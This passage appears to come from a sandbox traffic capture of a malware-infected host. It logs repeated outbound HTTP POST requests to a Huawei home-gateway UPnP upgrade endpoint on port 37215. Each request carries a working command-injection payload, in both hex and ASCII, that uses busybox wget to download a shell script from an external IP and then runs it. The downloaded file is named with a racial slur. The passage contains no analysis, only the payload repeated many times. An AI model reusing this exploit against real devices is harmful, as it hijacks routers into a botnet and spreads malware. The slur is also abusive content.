+x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:58.736450911 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:03.087726116 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:11.790662050 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:30.220069885 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:05.031275034 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.23	51482	31.136.225.12	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:54.704138041 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:55.248789072 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.336647987 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:58.736434937 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
